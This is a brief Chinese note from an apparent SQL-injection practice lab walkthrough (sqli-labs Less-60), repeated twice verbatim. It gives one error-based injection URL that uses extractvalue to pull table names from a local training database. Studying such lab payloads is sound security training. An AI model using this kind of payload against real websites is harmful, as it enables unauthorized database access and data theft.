与less58、59一致,直接给出一个示例payload:
http://127.0.0.1/sql/Less-60/?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
与less58、59一致,直接给出一个示例payload:
http://127.0.0.1/sql/Less-60/?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+